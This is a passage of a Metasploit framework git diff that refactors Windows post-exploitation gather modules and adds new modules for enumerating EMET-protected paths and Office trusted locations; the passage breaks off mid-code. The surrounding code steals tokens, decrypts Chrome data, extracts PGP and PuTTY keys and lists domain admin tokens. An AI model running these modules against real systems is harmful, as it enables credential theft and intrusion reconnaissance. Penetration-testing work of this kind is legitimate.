enumerate AD groups on the specified domain. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ 'Stuart Morgan ' @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Post register_options([ OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), + OptString.new('FILTER', [false, 'Customised LDAP filter', nil]) ], self.class) end @@ -39,14 +40,16 @@ class Metasploit3 < Msf::Post @user_fields = USER_FIELDS.dup if datastore['ADDITIONAL_FIELDS'] - additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, "").split(',') @user_fields.push(*additional_fields) end max_search = datastore['MAX_SEARCH'] begin - q = query('(objectClass=group)', max_search, @user_fields) + f = "" + f = "(#{datastore['FILTER']})" if datastore['FILTER'] + q = query("(&(objectClass=group)#{f})", max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) @@ -66,12 +69,10 @@ class Metasploit3 < Msf::Post # the database. # # @param [Array>] the LDAP query results to parse - # @return [Rex::Ui::Text::Table] the table containing all the result data + # @return [Rex::Text::Table] the table containing all the result data def parse_results(results) - domain = datastore['DOMAIN'] || get_domain - domain_ip = client.net.resolve.resolve_host(domain)[:ip] # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Domain Groups", 'Indent' => 1, 'SortIndex' => -1, @@ -93,5 +94,4 @@ class Metasploit3 < Msf::Post end results_table end - end diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index 72959f6086..5aaa418d04 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -6,7 +6,7 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Post # Takes the results of LDAP query, parses them into a table def parse_results(results) - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Groups with Managers", 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb index 125c9feb59..49ac4eeac9 100644 --- a/modules/post/windows/gather/enum_ad_service_principal_names.rb +++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb @@ -7,7 +7,7 @@ require 'rex' require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post fields << "Host" # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Service Principal Names", 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/enum_ad_to_wordlist.rb b/modules/post/windows/gather/enum_ad_to_wordlist.rb index 33f37b1bcf..6da00f76ad 100644 --- a/modules/post/windows/gather/enum_ad_to_wordlist.rb +++ b/modules/post/windows/gather/enum_ad_to_wordlist.rb @@ -6,7 +6,7 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 22519eae57..db910276f2 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -6,7 +6,7 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post end # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Domain Users", 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index 2fc5ed7779..8db942c04c 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -6,7 +6,7 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP include Msf::Post::Windows::Accounts @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Post OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]), OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]), OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), + OptString.new('FILTER', [false, 'Customised LDAP filter', nil]), OptString.new('GROUP_MEMBER', [false, 'Recursively list users that are effectve members of the group DN specified.', nil]), OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY', [ @@ -104,12 +105,12 @@ class Metasploit3 < Msf::Post # the database. # # @param [Array>] the LDAP query results to parse - # @return [Rex::Ui::Text::Table] the table containing all the result data + # @return [Rex::Text::Table] the table containing all the result data def parse_results(results) domain = datastore['DOMAIN'] || get_domain domain_ip = client.net.resolve.resolve_host(domain)[:ip] # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Domain Users", 'Indent' => 1, 'SortIndex' => -1, @@ -146,6 +147,7 @@ class Metasploit3 < Msf::Post inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED'] inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED'] inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER'] + inner_filter << "(#{datastore['FILTER']})" if datastore['FILTER'] != "" case datastore['UAC'] when 'ANY' when 'NO_PASSWORD' diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb index b3b2a25bab..f8569e3c99 100644 --- a/modules/post/windows/gather/enum_applications.rb +++ b/modules/post/windows/gather/enum_applications.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post end def app_list - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Installed Applications", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb index 2247ea9dc1..f07817d3c8 100644 --- a/modules/post/windows/gather/enum_artifacts.rb +++ b/modules/post/windows/gather/enum_artifacts.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'yaml' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 0aa167b783..4052f688ba 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize(info = {}) @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Post print_status("No #{exclusion_type} exclusions for #{product}") return end - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "#{product} excluded #{exclusion_type.pluralize}", 'Indent' => 1, 'Columns' => [ exclusion_type.capitalize ] diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index f1af882553..dd0d87f054 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv @@ -85,13 +85,15 @@ class Metasploit3 < Msf::Post prefs = f.read end results = ActiveSupport::JSON.decode(prefs) - print_status("Extensions installed: ") - results['extensions']['settings'].each do |name,values| - if values['manifest'] - print_status("=> #{values['manifest']['name']}") - if values['manifest']['name'] =~ /mailvelope/i - print_good("==> Found Mailvelope extension, extracting PGP keys") - extension_mailvelope(username, name) + if results['extensions']['settings'] + print_status("Extensions installed: ") + results['extensions']['settings'].each do |name,values| + if values['manifest'] + print_status("=> #{values['manifest']['name']}") + if values['manifest']['name'] =~ /mailvelope/i + print_good("==> Found Mailvelope extension, extracting PGP keys") + extension_mailvelope(username, name) + end end end end @@ -129,7 +131,7 @@ class Metasploit3 < Msf::Post def process_files(username) secrets = "" - decrypt_table = Rex::Ui::Text::Table.new( + decrypt_table = Rex::Text::Table.new( "Header" => "Decrypted data", "Indent" => 1, "Columns" => ["Name", "Decrypted Data", "Origin"] @@ -278,7 +280,7 @@ class Metasploit3 < Msf::Post # If we can impersonate a token, we use that first. # If we can't, we'll try to MIGRATE (more aggressive) if the user wants to got_token = steal_token - if not got_token and datastore["MIGRATE"] + if !got_token && datastore["MIGRATE"] migrate_success = migrate end @@ -311,7 +313,7 @@ class Metasploit3 < Msf::Post else uid = session.sys.config.getuid print_status "Running as user '#{uid}'..." - usernames << env_vars['USERNAME'].strip + usernames << env_vars['USERNAME'].strip if env_vars['USERNAME'] end has_sqlite3 = true @@ -330,7 +332,7 @@ class Metasploit3 < Msf::Post end # Migrate back to the original process - if datastore["MIGRATE"] and @old_pid and migrate_success == true + if datastore["MIGRATE"] && @old_pid && migrate_success print_status("Migrating back...") migrate(@old_pid) end diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 8ecc9ee524..5d44cc4014 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post end def list_computers(domain,hosts) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "List of Domain Hosts for the primary Domain.", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 27ff05d2ed..1b764d56b2 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -7,7 +7,7 @@ require 'rex' require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Post print_status("Done, Databases Found.") - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Installed Databases", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb index 9829aa63e8..94a93d587a 100644 --- a/modules/post/windows/gather/enum_devices.rb +++ b/modules/post/windows/gather/enum_devices.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post end def list - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Device Information", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index c772da1822..f92c1f433b 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb index 6d1c252834..5e0c8a0832 100644 --- a/modules/post/windows/gather/enum_domain.rb +++ b/modules/post/windows/gather/enum_domain.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index f9c2f877a3..5d0f6a1414 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Gather Enumerate Domain Group', diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index c917d0be8d..ae73390c4c 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Post # List Tokens precent on the domain def list_tokens(domain,dom_admins) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Impersonation Tokens with Domain Context", 'Indent' => 1, 'Columns' => @@ -161,7 +161,7 @@ class Metasploit3 < Msf::Post end def list_group_members(domain,dom_admins) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Account in Local Groups with Domain Context", 'Indent' => 1, 'Columns' => @@ -210,7 +210,7 @@ class Metasploit3 < Msf::Post end def list_processes(domain,dom_admins) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Processes under Domain Context", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_domain_users.rb b/modules/post/windows/gather/enum_domain_users.rb index 2ebfbb3208..11077706ad 100644 --- a/modules/post/windows/gather/enum_domain_users.rb +++ b/modules/post/windows/gather/enum_domain_users.rb @@ -4,7 +4,7 @@ require 'msf/core/post/common' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/netapi' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Common include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb index 28dc44c576..01cbeb914e 100644 --- a/modules/post/windows/gather/enum_domains.rb +++ b/modules/post/windows/gather/enum_domains.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/netapi' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::NetAPI diff --git a/modules/post/windows/gather/enum_emet.rb b/modules/post/windows/gather/enum_emet.rb new file mode 100644 index 0000000000..39693acae1 --- /dev/null +++ b/modules/post/windows/gather/enum_emet.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Post::Common + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather EMET Protected Paths', + 'Description' => %q( This module will enumerate the EMET protected paths on the target host.), + 'License' => MSF_LICENSE, + 'Author' => [ 'vysec ' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def run + reg_view = sysinfo['Architecture'] =~ /x64/ ? REGISTRY_VIEW_64_BIT : REGISTRY_VIEW_32_BIT + reg_vals = registry_enumvals('HKLM\\SOFTWARE\\Microsoft\\EMET\\AppSettings', reg_view) + if reg_vals.nil? + print_status('Failed to enumerate EMET Protected.') + else + print_status('Found protected processes:') + reg_vals.each do |path| + print_status(path) + end + path = store_loot('host.emet_paths', 'text/plain', session, reg_vals.join("\r\n"), 'emet_paths.txt', 'EMET Paths') + print_good("Results stored in: #{path}") + end + end +end diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index 3b28a296ed..46215718fe 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/enum_hostfile.rb b/modules/post/windows/gather/enum_hostfile.rb index 9f2d188091..3053a9d4a9 100644 --- a/modules/post/windows/gather/enum_hostfile.rb +++ b/modules/post/windows/gather/enum_hostfile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 846df38f16..3842284c8b 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -227,17 +227,17 @@ class Metasploit3 < Msf::Post end #setup tables - @hist_table = Rex::Ui::Text::Table.new( + @hist_table = Rex::Text::Table.new( "Header" => "History data", "Indent" => 1, "Columns" => ["Date Modified", "Date Accessed", "Url"]) - @cook_table = Rex::Ui::Text::Table.new( + @cook_table = Rex::Text::Table.new( "Header" => "Cookies data", "Indent" => 1, "Columns" => ["Date Modified", "Date Accessed", "Url"]) - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( "Header" => "Credential data", "Indent" => 1, "Columns" => ["Type", "Url", "User", "Pass"]) @@ -271,7 +271,7 @@ class Metasploit3 < Msf::Post #Get history and cookies print_status("Retrieving history.....") h_paths.each do |hpath| - if session.fs.file.exists?(hpath) + if session.fs.file.exist?(hpath) print_line("\tFile: #{hpath}") #copy file cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\"" @@ -291,7 +291,7 @@ class Metasploit3 < Msf::Post print_status("Retrieving cookies.....") c_paths.each do |cpath| - if session.fs.file.exists?(cpath) + if session.fs.file.exist?(cpath) print_line("\tFile: #{cpath}") #copy file cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\"" diff --git a/modules/post/windows/gather/enum_logged_on_users.rb b/modules/post/windows/gather/enum_logged_on_users.rb index fc5958c96c..34a547a81b 100644 --- a/modules/post/windows/gather/enum_logged_on_users.rb +++ b/modules/post/windows/gather/enum_logged_on_users.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Accounts @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post def ls_logged sids = [] sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Recently Logged Users", 'Indent' => 1, 'Columns' => @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post def ls_current key_base, username = "","" - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Current Logged Users", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_ms_product_keys.rb b/modules/post/windows/gather/enum_ms_product_keys.rb index ae2d0bc3a6..29d64aa071 100644 --- a/modules/post/windows/gather/enum_ms_product_keys.rb +++ b/modules/post/windows/gather/enum_ms_product_keys.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Post end def app_list - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Keys", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index 4644a8823a..edcfffc8e3 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -7,7 +7,7 @@ require 'rex' require 'msf/core' require 'rex/registry' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry @@ -226,7 +226,7 @@ class Metasploit3 < Msf::Post return nil end - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'MUICache Information', 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_patches.rb b/modules/post/windows/gather/enum_patches.rb index a6c4162dfd..2940456b5c 100644 --- a/modules/post/windows/gather/enum_patches.rb +++ b/modules/post/windows/gather/enum_patches.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/extapi' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Common include Msf::Post::Windows::ExtAPI diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb index 41ca9b2119..4a61411ee9 100644 --- a/modules/post/windows/gather/enum_powershell_env.rb +++ b/modules/post/windows/gather/enum_powershell_env.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index f6edb22bf1..3a5883b0e3 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -6,7 +6,7 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Post return nil end - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "Prefetch Information", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb index bb98d36e77..eec20ad528 100644 --- a/modules/post/windows/gather/enum_proxy.rb +++ b/modules/post/windows/gather/enum_proxy.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Post::Windows::Services diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 00d38c0806..1fe9123a88 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -8,7 +8,7 @@ require 'msf/core/post/windows/priv' require 'msf/core/post/common' require 'msf/core/post/windows/registry' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Common include Msf::Post::File @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post def display_saved_sessions_report(info) # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "PuTTY Saved Sessions", 'Indent' => 1, 'SortIndex' => -1, @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Post def display_private_key_analysis(info) # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "PuTTY Private Keys", 'Indent' => 1, 'SortIndex' => -1, @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Post def display_stored_host_keys_report(info) # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Stored SSH host key fingerprints", 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index eff601943b..ac61c3737f 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Services @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Post print_status("Start Type Filter: #{qtype}") end - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => 'Services', 'Indent' => 1, 'SortIndex' => 0, diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index b0dfe05714..c3e144e7f5 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index 9316605288..ff06d177f3 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Post # Method for enumerating the Community Strings configured def community_strings comm_str = [] - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Community Strings", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index 2ad65c80e2..96369e9065 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -10,7 +10,7 @@ require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 4a7838d3cd..28272d42cd 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) @@ -145,7 +145,7 @@ class Metasploit3 < Msf::Post domain_admins.each do |da_user| #Create a table for domain admin PIDs, users, IPs, and SIDs - tbl_pids = Rex::Ui::Text::Table.new( + tbl_pids = Rex::Text::Table.new( 'Header' => 'Domain admin token PIDs', 'Indent' => 1, 'Columns' => ['sid', 'IP', 'User', 'PID'] diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index 2f98e036c6..a5040f31f6 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -8,7 +8,7 @@ require 'rexml/document' require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Post end print_status("Done, Tomcat Found.") - tbl_services = Rex::Ui::Text::Table.new( + tbl_services = Rex::Text::Table.new( 'Header' => "Tomcat Applications ", 'Indent' => 1, 'Columns' => @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Post tbl_services << r } - tbl_users = Rex::Ui::Text::Table.new( + tbl_users = Rex::Text::Table.new( 'Header' => "Tomcat Server Users ", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/enum_trusted_locations.rb b/modules/post/windows/gather/enum_trusted_locations.rb new file mode 100644 index 0000000000..0bd2339c59 --- /dev/null +++ b/modules/post/windows/gather/enum_trusted_locations.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Post::Common + + OFFICE_REGISTRY_PATH = 'HKCU\\SOFTWARE\\Microsoft\\Office' + TRUSTED_LOCATIONS_PATH = 'Security\\Trusted Locations' + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather Microsoft Office Trusted Locations', + 'Description' => %q( This module will enumerate the Microsoft Office trusted locations on the target host. ), + 'License' => MSF_LICENSE, + 'Author' => [ 'vysec ' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def run + locations = "" + [REGISTRY_VIEW_64_BIT, REGISTRY_VIEW_32_BIT].each do |registry_arch| + arch = registry_arch == REGISTRY_VIEW_64_BIT ? 'x64' : 'x86' + reg_keys = registry_enumkeys(OFFICE_REGISTRY_PATH, registry_arch) + if reg_keys.nil? + print_status("Failed to enumerate Office in #{arch} registry hive.") + return + end + + reg_keys.each do |version| + next if 